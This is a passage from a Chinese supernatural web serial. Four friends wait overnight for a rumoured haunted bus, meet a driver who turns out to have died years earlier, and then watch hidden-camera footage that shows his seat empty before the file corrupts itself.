被拒绝的女孩子怒而生恨：“不是的！你们没看到吗？刚才他根本懒得跟我废话！他梁林怎么能当众撕掉我的信？！我宁愿他背地里丢了它，也好过让我这样难堪！”
这也是事实。
其中一个女孩子揣测道：“是不是他已经有喜欢的人了啊？”
“什么？”
“你看，他刚才不是还和另一个女孩子走在一起吗？会不会他已经有喜欢的人了，所以才不想接受别人的心意……”
“那……那个女孩子……好像是他的同桌？”
“对，我记得是叫……沈聆，对，是这个名字，她爸妈前段时间出车祸死了，妹妹也在住院，当时全年段都知道这件事情。”
……
在走出校门口后，沈聆一眼便看到了等在路边的宋明夷。
“喂！小聆聆！我在这儿！！”
她穿着红色的背带裤，扎着马尾辫，活力十足地朝着沈聆挥手，那双眼睛神采奕奕，仿佛对接下来要做的事情充满了期待。
沈聆无奈地叹了口气，走上前。
“你真的要去找那个灵异公交？”
“对啊！一言既出驷马难追！我宋明夷要调查的事情，还没有调查不了的！”
宋明夷说着，挽着沈聆的手，往路边走去。
“小聆聆，你跟你外婆说了吗？今晚就不回家睡觉啦，我们去调查一下公交站，然后可以回我那边睡觉！第二天我送你来上学。”
宋明夷软声细语地说着，像是在吹枕边风。
“这个……倒是说了，我跟外婆说我晚上要去同学家一起复习功课，就不回去了。”
“好耶！！”
“但是，明夷，你确定这件事情是真的吗？我看了那篇文章，感觉从头到尾都带着夸大的成分，会不会是杜撰的？”
“不管它是真的还是假的，在陵川市的地界上发生这个事情，我就要去调查清楚。”宋明夷大手一挥，“我已经在我身上别好微型摄像头了，我打算连续跟踪三天，如果这件事情不是真的，我就曝光那个笔手，说他造假！如果是真的，我就放出更确切的资料，趁着热度再吸引一波眼球！”
“但是……你不怕吗？”
“怕什么？”
“万一是真的呢？我看那文章里写的，还挺恐怖的，那辆公交车。”
“没事儿，我可是有后援的！”
宋明夷说着，停下了脚步，得意地伸手指了指前方。
沈聆顺着她的指尖看去，发现路边停着一辆熟悉的私家车，在车旁，正站着两个人，朝着她们这边看着。
吴妄，林凌。
“小聆聆你看，法术攻击，物理攻击，我全都有！怎么样，厉害吧！”
233. 深夜公交
浓稠如墨的夜色裹着站台，月亮被厚重云层吞噬，仅余一丝幽蓝微光。
公交站台的金属框架在黑暗中泛着冷冽的灰芒，像一具张开的骨架，空气中弥漫着腐朽的潮湿气息，混合着某种难以名状的腥甜。
宋明夷紧盯着远处，期待公交车的灯光穿透黑暗，照亮这小小的站台，可等了好久，除了寂静还是寂静。
忽然，一阵细碎的脚步声从身后传来，频率杂乱无章，仿佛是无数双大小不一的脚同时挪动，她猛地回头，却只看到空荡荡的街道，唯有几片枯叶打着旋儿飘过，莫名的，有股阴冷的气息擦着耳畔掠过，像是有人在耳边幽幽叹息。
“奇怪，怎么还没来啊……”
宋明夷沮丧地坐在椅子上，看着那黑漆漆的街道，表情更加沉重了几分。
“这个时间点，应该也没有公交车了。”林凌站在她身后，背靠着公交站的站牌，双手交叉在胸前，他披着一个牛仔外套，夜风吹起他的发丝，公交站的路灯拉长了他的影子。
他低下头看了一眼手表，现在已经是凌晨一点了，他们在这里等了几个小时，甚至吃了一顿关东煮，也没有等到凌晨的公交。
刚开始，还有几个人和他们一起等公交车，但随着最后一班公交车离开后，站台也只剩下了他们四个人。
小小的站台就只有他们四个，也不知道在等什么，也不知道要等多久，远远看去，公交上苍白的灯光落在他们身上，每个人的脸色看起来都不是很好。
毕竟是熬夜，除了日常熬夜加班的林凌之外，两个女孩子倒是都蔫了。
沈聆打了个哈欠，无精打采地坐在椅子上，为了不打盹，她索性拿出手机，戴上了一边的耳机，开始听起了英语听力。
这不听还好，一听便更困了。
沈聆又接连打了好几个哈欠。
“小聆聆，你还是别听了吧，我以前读书的时候，就靠这个催眠的……你这一打哈欠，我也跟着犯困。”宋明夷看了一眼沈聆。
她眯着眼睛，感觉眼皮都要耷拉下来了。
“不行，我的英语听力老丢分，老师说日常就要多听一些，才能培养语感。”
“但这些东西不入脑子啊，我就听他们在那边叽里呱啦说什么，我也听不懂，反正考试就一通乱填，小聆聆，我教你，三长一短选短,三短一长选长,两长两短选b.参差不齐选c，我就是这样蒙的。”
“所以你就上了个大专。”
“大专怎么了？我大专也能成一个护士，我告诉你，就算听不懂那些乱七八糟的英语，我还是能给病人打针，给产妇做胎心监测。”
宋明夷倒是挺自豪，甚至更理直气壮了几分。
吴妄席地而坐，在地上打坐，丝毫不为周围的动静所打扰，在他身边，仿佛时间都静止了一般，他能保持这样的坐姿两三个小时，神色不改，习以为常，虽然在熬夜通宵，但也看不出疲惫，对周围的喧嚣也置若罔闻。
宋明夷倒是对打坐的吴妄好奇了起来，反正闲着也是闲着，她起身凑近了吴妄，看着吴妄轮廓分明的侧脸，好奇地伸出手想碰碰他，没想到下一刻却被对方捉住了不安分的手。
吴妄睁开眼，瞥了一眼宋明夷：“做什么。”
宋明夷收回了手：“咦？我还以为你睡着了诶？”
“我只是在闭目养神。”
“但是道长，你这样打坐，不觉得累吗？我看你一直盘着腿。”
“不会，修行之人，早已经习以为常。”
“啊？你们日常就是这样睡觉的吗？”
“有时候会。”
“那你以后结婚了怎么办？难道在媳妇身边也这样打坐一晚上？”
宋明夷一句戏言，倒是让沈聆提起了几分精神，她看向了吴妄和宋明夷，小耳朵拉长，早已经无心在耳机里传来的英文上。
吴妄沉吟了一下：“我们青城山的人，一般是不娶亲的。”
“不娶老婆？那你们就一辈子打光棍？”
“有何不妥？”
“这不好吧？很浪费你这张脸啊！”宋明夷啧啧叹息，“你要是去娱乐圈，高低得有一帮迷妹。”
“迷妹是什么？”
“就是粉丝。”
“吃的那种吗？”
“哎呀不是，你好土，粉丝可以理解为狂热追求者。”
“哦，不需要。”
吴妄说着，闭起了眼睛，似乎又要“闭目养神”。
“道长，你真的不打算结婚吗？”
“没考虑过那方面的事情。”
“也就是说……如果愿意的话，其实你们也是可以结婚的了？”
“师门之中，也有还俗之人，也有成亲之人，不过，各人自有各人的缘法，修行方式也不太一样，青山之中是修炼，闹市之中也是修炼，重要的是保持本心，不忘初衷。”
“好家伙，你们这选项还真多，我还以为你们跟和尚一样要一辈子孤家寡人呢。”
“这倒也没有，道法自然，我们道家讲究的是凭心而动，世界既是我心，我心自在，世界即自在。”
吴妄抛下一句挺深刻的话后，自顾自打坐去了。
宋明夷听不懂这句话，只感觉眼前这个男人，真的很装。
她转身，坐回了沈聆身边，伸手用手肘捅了捅沈聆。
“嗯？”
“小聆聆，你有机会诶。”宋明夷压低了声音，神神秘秘的。
“嗯？？”
“这家伙也不是要打一辈子光棍的。”
“你……”
“拿下！就是现在！趁着他刚出山，见过的女人还不多，这个时候就是最好的机会啊！”
闻言，沈聆翻了个白眼：“你是不是等得太闲了，玩会儿手机去。”
“不是，我是认真的啊姐妹，我感觉你们真的很合适，而且你身上的灵元草，需要有人在你旁边保护你，这道长就挺好的，还帅，而且体力肯定也好，没开过‘荤’，大补！”
宋明夷莫名其妙地说着一些令人眼红心跳的话，沈聆红了脸，转过头也戴上了另一边的耳机，不理她了。
“切，狗咬吕洞宾，不识好人心。”
宋明夷撇了撇嘴
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。
林凌倒是打趣：“你这么喜欢，不如你拿下道长？”
“我？我可不行！”宋明夷摇头。
“哦？此话何解？”
“我以后要找一个有钱人！我要过上衣食无忧的生活！我才不要去山里。”
林凌一听，倒是乐了：“那你就忍心让你的姐妹去山里？”
“我姐妹物欲不高啊，你看小聆聆，明明跟梁家二少爷是同桌，但丝毫没有动心，说实话哦，如果是我，我就趁机拿下这个富二代！那我后半辈子可就财富自由了！”
林凌一挑眉：“不义之财，不知道什么时候就充公了，你花着也不亏心？”
“以后的事情，以后再说，我宋明夷是活在当下的人，不计较那些。”
“人无远虑必有近忧。”
“那也好过现在这样，吃了上顿就没有下顿，至少，我享受过！”
“得，我也说不过你。”
在众人贫嘴之时，突然，一缕昏暗的光从夜色之中透了出来。
林凌眼尖，先一步注意到了那亮光。
“诶？！你们看，前面是不是有车来了？！”
听到宋明夷的呼声，众人寻声看去，还真是一辆破旧的公交车缓缓朝着公交站这边驶来。
沈聆也不由得摘下了耳机，正色几分，吴妄从地上站了起来，林凌双手插在口袋里，戒备地看着这辆车。
远远望去，这辆车仿佛是从上个世纪穿越而来的古董——它的车身已经被岁月侵蚀得破旧不堪，原本鲜艳的蓝色车漆如今也变得斑驳陆离，犹如一位历经沧桑的老人，车窗玻璃上厚厚的尘土，让人难以透过它看清车内的情况。
然而，当那昏黄的车灯亮起时，车前的一小片区域却被瞬间照亮。
借着微弱的光线，人们终于能够隐约看到驾驶座上那个弯腰驼背的身影，他就像这辆车一样，透露出一种无法言说的疲惫和沧桑。
四人交换了一个眼神，宋明夷朝着公交车招了招手，示意自己要上车。
林凌看了一眼身边的公交站牌，这个点，按道理应该已经没有公交车的班次才对，怎么突然出现了一辆莫名其妙的车？
太诡异了。
难道，那篇灵异文章描述的都是真的？
林凌微微眯起眼睛，他是警察，自然是不相信这些的，但发生在眼前的这一切，却又让他感到匪夷所思，不过，自从认识沈聆之后，奇怪的事情倒是也见怪不怪了。
他打算静观其变，看看究竟真是灵异事件，还是有人在装神弄鬼。
这件事情毕竟关系到陵川市的城市形象，他作为陵川市公安局的一员，调查清楚，给公众一个说法，也是他的义务。
在林凌这么想着的时候，公交已经停在了众人面前。
在它“吱呀”一声停下来的时候，四人都嗅到了一股浓郁的汽油的味道，混合着钢铁生锈的气息，潮湿着，腐烂着，让人不太舒服。
在公交车前门打开的那一刻，一个瘦弱的坐在驾驶座的身影缓缓转过头，看着他们。
“你们……要坐车？”
234. 奇怪的老司机
当锈迹斑斑的公交车门发出刺耳的金属摩擦声缓缓开启时，一股令人作呕的腐烂气息如潮水般汹涌而出，瞬间将众人包裹其中。
那味道异常复杂，混合着铁锈特有的腥涩，仿佛有人将浸泡在污水中多年的废铁与腐烂发臭的青苔一同塞进了鼻腔，令人胃部翻涌，腐臭味里还夹杂着一丝若有若无的甜腻，像是某种肉类在高温下发酵的味道，让人忍不住怀疑车厢里藏着什么可怕的东西。
“你们……要坐车？”一个沙哑得如同砂纸摩擦般的声音，从驾驶座的阴影深处幽幽传来。
众人下意识地抬头望去，在那昏黄且闪烁不定的灯光下，一个佝偻的身影若隐若现。
那人瘦得骇人，嶙峋的骨头仿佛要刺破苍白的皮肤，干枯的手指关节突出，宛如枯枝一般，他身上那件陈旧的衣服早已失去原本的颜色，皱巴巴地紧贴在他骨瘦如柴的身体上，上面布满了大片大片暗红色的污渍，污渍边缘晕染开来，像是干涸的血迹，又像是某种神秘的符号。
他头上戴着一顶深绿色的帽子，帽檐压得极低，遮住了大半张脸，当他微微转过头时，帽子上的金属标志突然反射出一道冷冽的光，那标志的形状古怪而扭曲，仿佛是某种禁忌的图腾，让人不寒而栗。
“要坐车吗？”
见众人没有反应，他又问了一次。
沈聆往后退了一步，下意识地退到了吴妄身后，她瞥了一眼手上的红绳，奇怪的是，这一次红绳上的银铃并没有响，以往闹鬼时，不都是先有铃声，方有恶鬼吗？
在沈聆迟疑时，宋明夷先一步反应过来：“额，对呀，大叔，我们要搭车。”
“搭车？搭车你也不应该在这个时间点啊？”那人挠了挠头，“最后一趟公交早就走了，你们还是打滴滴吧。”
这句话瞬间给这公交车司机减弱了几分神秘感，众人定睛一看才发现，这哪里是什么灵异鬼怪，明明是一个不修边幅的老大爷。
他咳嗽了几声，从口袋里掏出一根香烟，并点燃了香烟。
“哎呀，小姑娘，小伙子，你们不要被什么鬼故事给骗了，我当了五十多年的公交车司机，可就没见过什么灵异公交车……我是专门来把这辆报废的车开去回收站的，趁着现在凌晨路上没人，没成想看到你们这些猎奇的小年轻，啧啧，真是什么人都有。”
众人定睛一看，发现这老大爷座椅下是有影子的。
“喂，道长，这家伙有影子诶！不是说鬼都没有影子吗？”宋明夷看向了“行内专业人士”吴妄。
吴妄翻了个白眼：“这是活人，就是年纪大了，半截身子埋进土里了。”
“我呸！你个臭小子，你这话说的是谁啊？！！”老大爷一听，急了，“我告诉你，别以为你年轻我就不敢打你！像你这种毛头小子，老子我年轻的时候一拳三个！”
好家伙，原来这老大爷是活人。
这辆车之所以这么破烂，是因为本就是一辆报废的公交车，趁着凌晨没人，才派了一个上年纪的老司机开去回收站，车上之所以满是锈味、汽油味，也是因为使用年限太长了，才满是臭味，而老大爷身上这么埋汰，纯粹是因为他个人卫生习惯不好，衣服上才有这么多污渍，面容枯槁也是因为人老消瘦的原因。
“好了好了，老大爷，不好意思，是我们认错了。”诚恳青年林凌开口打圆场，“您也知道，最近陵川市有一篇网文沸沸扬扬的，大家都在说有一路‘44’路公交车闹鬼了，这不，我们也是好奇，所以才来看看是不是真的有这趟闹鬼的公交车。”
“44路？”老大爷抽了口烟，熄了火，慢慢说道，“在这之前呢，的确是有一趟44路公交的，只不过，现在已经停了。”
众人闻言，起了好奇。
宋明夷追问道：“大爷，您知道这44路公交？”
“当然，不只是我，你们应该也听过。”老大爷意味深长地看了一眼四个年轻人。
“什么？”众人面面相觑，不知道老大爷的意思。
“不久前，有一辆校车，翻下山崖的新闻，你们应该都知道吧？”
经提醒，众人这才想起来这则新闻。
沈聆记得，那是自己第一次陪着外婆到平安医院的时候，当时平安医院楼下吵吵闹闹的，林凌和一帮警察紧急护送救护车120转运了许多浑身是血的学生就医，而这些学生，便是当时校车侧翻时、在车上的受害人。
不只是这样，住在新隆公寓里的老李的孙子，李子晨，就是校车上的学生，当时也在事故中不幸身亡。
这件事情就仿佛是一朵乌云，笼罩在陵川市之上，成为了很多学生家长心中挥之不去的痛。
“……难道说，当时的那辆车，其实就是44路公交？”
“是的。”老大爷点了点头，“当时本来是安排他们本校的校车接送学生，但是校车临时坏了，学校就求助公交集团，公交集团安排了44路公交车临时作为校车接送孩子，没想到路上就出了车祸，整辆公交车翻下的山崖，摔成了一堆变形的破铜烂铁。”
宋明夷叹了口气：“好惨……”
林凌皱着眉头回想：“我记得当时调查的结果……是意外，是那辆车的刹车突然出现了故障，导致在转弯的时候无法减速，从而冲出山道。”
老大爷摇了摇头：“我可不信这些，44路公交已经走了三十多年了，未尝出现任何一次事故，偏偏那次接送那些孩子就发生了意外，不过现在想想，也可能是命吧，可怜的孩子们。”
沈聆愤愤不平：“这么说，那则网文的作者，很可能是提前调查过44路公交的事情，所以拿这个大做文章，吃人血馒头，因为他知道，44路公交现在已经不存在了，在一个不存在的东西身上编出任何东西，都不会有人计较。”
“情况呢，就是这么一个情况，你们这些看热闹的小年轻可都散了吧，这世界上没有什么神啊鬼啊的事情，有这个时间不如去多读读书，趁着年轻多学点有用的东西，不要总是看网络上那些乱七八糟的新闻。”
老大爷说着，掐灭了香烟，重新发动了公交车。
在车门即将关上时，沈聆注意到了这位司机在驾驶座前面放着的司机信息：张荣。
破旧的公交车，发动机发出轰鸣的声音，它慢吞吞地朝着夜色之中而去，最后，消失在众人的视野里。
“看来
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真是没什么灵异事情，是你想太多了。”林凌看向了宋明夷。
“奇怪，但是我总感觉好像有什么事情不对劲，但是我又说不出来。”宋明夷挠了挠头，露出匪夷所思的表情。
“这个世界上不对劲的事情太多了，我们也没办法一一追究。”沈聆打了个哈欠，“走吧，我们回家吧，明天我还要上课呢。”
“也行，小聆聆你晚上就来新隆公寓住吧，道长跟着林大哥凑合一晚。”
“好。”
“没问题。”
且说众人各自散去，林凌开车，先送沈聆和宋明夷回了新隆公寓，随后，便带着吴妄往自家去了。
沈聆和宋明夷各自洗漱完，已经快凌晨两点了。
沈聆累得昏昏欲睡，只看见宋明夷仍旧坐在电脑前，精力旺盛地敲着键盘。
“……明夷，你不睡吗？”
“你先休息吧，我日常值夜班，已经习惯通宵了……我总觉得今天晚上发生的事情好像有哪里不太对，但是我又说不出来，想着，上网查一下。”
“能有什么不对劲的？我们也确实没有看到那辆灵车，也没有其他恶鬼出现，赶紧睡吧，你明天不上班吗？”
“你先睡吧，你要读书，你比较费脑子。”
“那行，你别太晚。”
“晚安。”
“晚安。”
两个女孩子互道了晚安后，沈聆转身进了卧室。
她实在是太累了，白天要读书，晚上还要追查灵异事件，这一天天下来，就算有灵元草的支撑，她也早已经精疲力尽。
她现在脑袋跟一盘浆糊一样，什么都思考不了，只想赶紧躺在床上，迟一分钟都要昏死过去。
在碰到枕头的时候，沈聆便已经睡了过去，对外界没有一点知觉。
不知道过了多久……
正睡得迷迷糊糊的时候，沈聆突然感觉到有人在摇自己。
“小聆聆！小聆聆！”
“嗯？该起床了吗？六点了吗？”
“快醒醒！！小聆聆！！”
沈聆迷迷糊糊地睁开眼睛便看到宋明夷近在咫寸的脸，只见她焦急万分地看着自己，见醒来了，直接把她拽了起来。
“你干嘛啊……”
“小聆聆！我有一个重大发现！！”
“哈？”
宋明夷将沈聆拽到了电脑前，指着显示屏。
黑漆漆的房间，只有电脑的屏幕亮着灯，睡眼惺忪的沈聆眯起了眼睛，只感觉那屏幕的光十分刺眼。
“你看看这个！”
沈聆定睛一看，发现电脑屏幕上是一张黑白照片，照片中是一个年过五十的老者，面容消瘦，眼神无光，他穿着不合适的衣服，看起来就像是最底层的打工人。
沈聆不解：“这不就是……刚才那个老大爷吗？”
“你再看看下面的字！”
沈聆仔细一看，发现这是一则讣告：陵川市公交集团公告，本集团员工张荣，于2010年出车时，公交车失控，为躲避行人，不幸撞上护栏，公交车当场起火，张荣疏散了车上乘客后，却未能及时逃离车辆，被困车内，不幸身亡。
235. 讣告
当看到网页上的讣告页面时，一股刺骨的寒意仿佛从头顶灌入，顺着脊椎一路向下蔓延，瞬间将她整个人钉在原地！
那寒意像是从九幽之地渗出的冰雾，顺着毛孔钻入骨髓，让她的四肢都泛起细密的战栗，困意如同被潮水冲散的泡沫，消失得无影无踪，取而代之的是心脏在胸腔里不受控地狂跳，一下又一下撞击着肋骨，发出急促而慌乱的声响。
讣告中央那张黑白照片上的老大爷，宛如定格在生死交界处的幽灵。
他的眼睛深陷在眼窝中，空洞得如同两口枯井，浑浊的眼球毫无生气地凝视着屏幕外的沈聆，那目光仿佛穿透了电子屏幕的阻隔，直直地落在她的灵魂深处。，不知是不是错觉，那双死寂的眼睛竟泛起一丝诡异的波动，像是在无声地开合，吐出带着腐臭气息的嘲讽：小年轻们，你们还是太天真了……
照片边缘晕染着灰败的雾气，将他的面容衬得愈发阴森，仿佛下一秒就要从屏幕里钻出来。
而最令人毛骨悚然的是，照片上老人布满皱纹的面庞、下垂的嘴角，甚至右耳垂那颗褐色的痣，都与今晚看到的大爷如出一辙！
沈聆的指尖不受控制地颤抖起来，在屏幕上划出凌乱的痕迹。
她明明记得那老大爷的面容以及放在驾驶座前的司机名牌，现在却以这样的方式出现在讣告上……
如果不是亲身经历，谁能相信生与死的界限竟如此模糊，现实与死亡的场景竟会重叠得这般诡异？
“小、小聆聆，你说……这会不会……是双胞胎？”
宋明夷显然也被吓到了，她说话的声音都颤抖了起来。
活见鬼了这不是？
而且还是在四个人眼前出现的，已经死去的人，这不是活见鬼，是什么？
“……但是名字也都一样，我记得我当时看到了司机的名牌，确实是这个名字。”
“那也不代表就是这个人啊？”
“你查了张大爷的家人吗？查一查他有没有双胞胎不就知道了。”
“有道理！”
宋明夷说着，在沈聆身边坐下。
此刻，沈聆也是睡意全无，她看了一眼时间，现在是早上四点，很明显，宋明夷一夜没睡，但此刻她并没有闲暇心思睡觉，她全部的注意力全都集中在今晚发生的更加诡异的事情上。
沈聆往旁边挪了一下，看着宋明夷飞快敲击着键盘，没过多久，就查到了张荣的相关信息。
因为张荣算是在岗位上出事的，并且出事的时候，作为公交车司机，并没有选择第一时间跑路，而是安全疏散了车上的乘客们，因此，也算是义士，这位上了年纪的老大爷，坚守到了岗位的最后一刻才不幸牺牲。
当时，陵川市许多报社对此新闻进行了报道，并赞扬张荣是一位舍己为人的无私英雄，这样的壮举，符合社会主义核心价值观，在当时，被作为正面例子进行宣传，省里也在张荣老大爷出事后，为他颁发了见义勇为奖章。
宋明夷找到了当时省政府走访慰问张荣家属的照片，在照片上，是一个年迈的老婆婆以及一个瘦弱的看起来二十岁出头的儿子，张荣的家庭情况并不好，一直都是村里的贫困户，也是在村委的扶贫帮助下，张荣考到了公交车的驾驶证，这一开车就是二十多年，在从业期间，一直没有发生车祸，群众口碑良好，在单位的人缘也不错。
可偏偏是这么一个良善的老人，却在临退休时，死在了岗位上。
让人不得不感到痛惜。
“……没有查到张荣老大爷有双胞胎的情况，所有表彰的场面都是他老婆和孩子去的，如果他有个双胞胎弟弟也在公交集团的话，新闻应该也会报道出来。”
宋明夷看向了沈聆。
沈聆的表情也同样凝重。
电脑的荧光照亮了两个女孩子的侧脸，她们的脸色都像是笼罩着一层乌云。
“唉，明天我们联系一下公交集团求证一下吧，毕竟……”
“小聆聆，有个事情，我……”
“怎么了？”
“其实，我晚上为了拍到一些珍贵的灵异画面，一直都带着一个微型摄像头。”宋明夷说着，拿起放在桌子上的黑色纽扣一样的东西。
沈聆定睛一看，才发现上面有一个类似摄像头的东西，只是这摄像头太小了，如果不注意看，根本认不出来，只当是一个寻常不过的纽扣。
“你是不是拍到什么了？”
宋明夷艰难地点了点头：“我觉得应该是，但是我不敢看，刚才只有我一个人在客厅，我总觉得背后毛毛的，这不，把你也叫起来了……”
“你的意思是，我们来看看那个老大爷是不是被拍到了？”
“……嗯，理论上来说，我们是确认一下比较好。”
宋明夷的声音很轻，在凌晨三四点的客厅里，听起来带着几分魂不守舍。
沈聆也不由得被这诡异的气氛所感染，她心事重重地看着宋明夷手中的微型摄像头，心里也在犹豫。
若是放在以往，她定会和宋明夷看个究竟，毕竟关于灵异的事情，她们也接触很多了，什么样的恶鬼没见过？
但现在，死者是一个好人，一个做了好事但不幸牺牲的好人，如果她们拍到了他的魂魄，对死者来说，是不是一种冒犯？
“……明夷，我问你，如果你真的拍到了什么东西，你会曝光吗？”
沈聆的问题，让宋明夷犹豫了。
她陷入了沉默。
沈聆看出了她眼中情绪的波动，也知道她的犹豫之处：毕竟作为灵异博主，能拍到这么珍贵的画面，在同类博主中便能够一下子脱颖而出，吸引眼球，对他们这类吃互联网饭的人来说可以算是撞大运，这样机会可不多，而且现在陵川市的灵异公交更是热门话题，趁着这个话题关注的人不少，吃一波流量红利，也是可以理解。
但是，这对死者来说，公平吗？
这可是一个为了帮助他人而死掉的可怜人。
他没有害人，没有做错任何事情，仅仅是出于善心而死
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这样的人，在死后还要被曝光在互联网的平台，被评头论足吗？
“……明夷，我认为，我们可以看，但不能传播，不管我们看到了什么，不管这个摄像头拍到了什么，我们都不能传播出去，这是对张大爷的尊重。”
沈聆义正言辞地说着，她看着宋明夷的眼神也充满了坚定。
宋明夷犹豫了许久，方才叹了口气。
“好吧，好吧，既然你这么坚持，我听你的就是了。”
“嗯，这才对，明夷，有时候我们做事情不能只看眼前的利益，你如果曝光了视频，很可能会损阴德，这样换来的东西，是你希望的吗？”
“……我知道了，我听你的就是。”
“好。”
在确定了这些事情之后，两个女孩子接下来要做的事情，就很一致了。
看视频！
宋明夷将微型摄像头的存储器拔了出来，并用专业的转读装置将存储器放了进去，插到了电脑上。
电脑上的读取进度条转了许久之后，探出了硬盘的标记。
“奇怪，之前好像也不需要识别这么久啊……”
宋明夷心生疑惑。
她点开了弹出的硬盘标志，找到了里面的录像文件。
“我买的这款微型摄像头是能够自动保存拍到的影像的，这也方便了我后期要观看和剪辑。”
宋明夷说着，双击点开了这个视频。
视频并不大，但是在双击之后，等了很久，才跳出了一个黑色的框，里面像是一个模糊的视频文件，视频开始的画面显然是在公交站台，沈聆还依稀看到了公交站对面的店铺。
“奇怪了，怎么打开一个视频这么慢啊……”
宋明夷不安地等待着，用铅笔敲击着桌面，发出“哒哒哒”的声音。
这声音听得沈聆也跟着紧张了起来。
两人就这么盯着电脑屏幕的视频页面，一直转了差不多一分钟，视频卡顿的画面才逐渐清晰了，视频开始播放。
视频一开始，便是在公交站台，画面中，出现在沈聆、吴妄和林凌，因为众人离得比较近，以偷拍的视角看去，只能看到众人的下巴。
“原来你从那个时候就在偷拍了啊？”
“这怎么能说是偷拍呢，我这只是在‘悄悄记录’。”
宋明夷拉了一下进度条，一直到一小时之后，画面中开始出现一辆老旧的公交车。
在公交车出现的那一刻，宋明夷点击了一下“暂停”。
“你看！小聆聆！这车牌是不是很眼熟？！”
“……89路公交？等等，我记得刚才新闻里说……张荣驾驶的出事的公交车就是这辆！”
“对！所以这根本不是什么要开去报废的车，而是一辆早已经不存在的车！”宋明夷感觉到背后一凉，“那……那他当时问我们要不要上车，如果我们那时候真的上车了，他会把我们带去哪里？他是已死之人，那他开的车……难道是通往冥界的车？”
236. 偷拍的视频
宋明夷越说越感觉害怕，她现在满脑子都是晚上看到的那个老大爷，当时只顾着找灵异公交车，没想到真正灵异的事件就发生在自己眼前，却浑然不觉，而恰恰是这种事后回想的恐怖，才更让人感觉到恐惧。
在视频中，那辆破旧的公交车一点一点朝着站台驶来，宋明夷慢放了视频后才发现，这辆公交车，居然没有沾地！
没错，或许是方才所有人的注意力都在车窗上，并没有注意到轮胎，现在视频回放时才发现，公交车的轮胎是半悬浮着的，只是因为夜色昏暗，并不明显。
“看来连同这辆车都有点问题啊……”
沈聆喃喃。
“我就觉得不对劲！刚才那辆车停在我面前的时候，味道很难受，很臭，说不出来是什么味道，有点像是汽油的味道！”宋明夷振振有词地说，“你还记得这公交车发生的是什么事情吗？是着火！肯定是撞到护栏后，公交车的油箱漏了，并引起了火灾，最后烧毁了整辆车，所以这辆车上的汽油味才这么重。”
“也不是没有道理。”
视频慢放到停在众人眼前之时，画面闪烁了一下，像是信号卡顿了，但没有几秒钟，又恢复了。
公交车门缓缓打开，镜头前突然暗了一下。
但下一秒，让宋明夷和沈聆都感觉到毛骨悚然的是，视频中的驾驶座上，并没有任何人！
是的。
宋明夷拍摄的角度，恰好是公交车的前上车门，而从这个角度看过去，是能直接看到公交车的驾驶座的，而当时，他们也正是从这样的角度和张荣对话，可现在，在视频里，公交车的驾驶座上空无一人，他们就这么对着空气讲话，讲了五分钟！
【额，对呀，大叔，我们要搭车。】
……
【这是活人，就是年纪大了，半截身子埋进土里了。】
……
【您也知道，最近陵川市有一篇网文沸沸扬扬的，大家都在说有一路‘44’路公交车闹鬼了，这不，我们也是好奇，所以才来看看是不是真的有这趟闹鬼的公交车。】
……
视频里，只有沈聆他们四个人说话的声音，并没有录到第五个人的声音。
他们就这么站在公交车旁边，对着空气说话。
说话的内容，便是方才和张老大爷对话的内容。
“……真是活见鬼了。”
宋明夷看着视频中空无一人的驾驶座，她不禁倒吸了一口凉气，一股寒意从脊梁骨上升起，迅速传遍全身。她的后背像是被一股冷风吹过，寒毛竖起，浑身的鸡皮疙瘩都起来了。
“但是，我记得刚才道长说过，眼前这个人不是鬼啊……”
沈聆也感觉到喉咙干涩，她艰难地咽了口唾沫，试图让自己平静下来，但那种毛骨悚然的感觉却越来越强烈，仿佛有一双看不见的眼睛正透过屏幕，冷冷地盯着她。
“是啊！我也记得！吴妄不是说这人有影子吗？我们都看到了，大家不是都默认有影子的不是鬼吗？”
“而且，我的铃铛也没有响……”沈聆蹙眉，“每一次招魂，当鬼魂现身的时候，我的铃铛都会有提示，但是这一次没有，所以我也没有往那方面考虑……”
“会不会，这是一个级别很高或者是法力高强的恶鬼？”宋明夷推测，“你看，我们的仪器设备是没办法捕捉到他的，说明他并不是真实存在的东西，而我们都能看到，甚至都无法鉴别他是鬼，说明他的法力远在我们之上，甚至是道长也没办法判定他是鬼！”
“我也不太清楚……可能明天得去问一下道长，他可能会有别的思路。”
二人对话之间，视频的进度已经播放到对话结束。
视频的镜头晃动了一下，显然是当时宋明夷后退了几步，随后，公交车的前门缓缓关上，这辆公交车轰鸣着发动机，消失在夜色之中。
在视频播放完毕之后，突然卡顿了一下。
这一次卡顿，比之前任何一次都久。
画面中的加载进度圈转了差不多三分钟之后，视频突然关闭了。
“嗯？怎么回事？”宋明夷连续点击了几下屏幕，发现电脑像是死机了一样卡了。
在她再一次想打开视频文件时，却发现文件已经损坏，无法打开。
“……看来，是有人不希望这段视频被传播出去。”
“小聆聆，你的意思是……刚才那个老大爷，甚至现在也就在我们旁边，和我们一起看视频？”
宋明夷说完，自己都吓了一跳，她转着圆圆的眼睛，紧张得左顾右盼，现在只感觉到家里的任何一个角落似乎都藏着无数双眼睛在监视着自己的一言一行。
“阿弥陀佛，百无禁忌！张大爷，我不是有意要冒犯您的！对不起对不起！我们也只是好奇心比较重一点而已，现在视频也已经损坏了，希望您不要迁怒到我身上，拜托了拜托了！！”
宋明夷双手合十，胡言乱语了起来。
她的声音颤抖着，看来是真的害怕了。
沈聆也心事重重地看着电脑，她现在感觉到眼前的事情似乎比自己想象中更棘手一点，从前，恶鬼出现的时候，银铃都会轻响，但现在，这么重要的提示却没有了，看来，这鬼比自己想象中要更加强大一点。
之前总以为自己是阴厨，便能沟通阴阳两界。
但现在，她才知道人外有人、天外有天，这个世界远远比自己的认知要更加辽阔。
他们也只不过是沧海一粟，这点能力也实在是太微不足道了。
“……明夷，我觉得大爷应该不会害我们的。”
“怎、怎么说？”
“你想，以他的能力，如果要害我们这些小孩，刚才就已经出手了，而不是放我们回家，就算是现在，我们知道了事情的真相，他也只是让视频损坏，明摆着是不希望这件事情传播出去，视频的损坏是给我们一个警告，而不是对我们造成实质性的伤害，所以，我觉得，张大爷这么一个好人，应该是不会害我们的。”
沈聆说着，提高了音量，那最后一句话似乎是说给房间里的第三个人听的。
宋明夷也听出了沈聆的意思，忙附和道：“对、对！张大爷是一个见义勇为、无私奉献、兢兢业业的大好人！他活着的时候就救了这么多乘客，就
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……就算驾鹤西去，应该也是一个慈悲为怀的人！我想这样的好大爷应该是不会跟我们这种毛头小孩计较的！”
“既然视频已经损坏了，你把这个源文件删了吧。”
“好。”
两人说着，又简单处理了一下电脑中的文件，确保电脑、存储器中都没有任何留痕后，这才放心了一点。
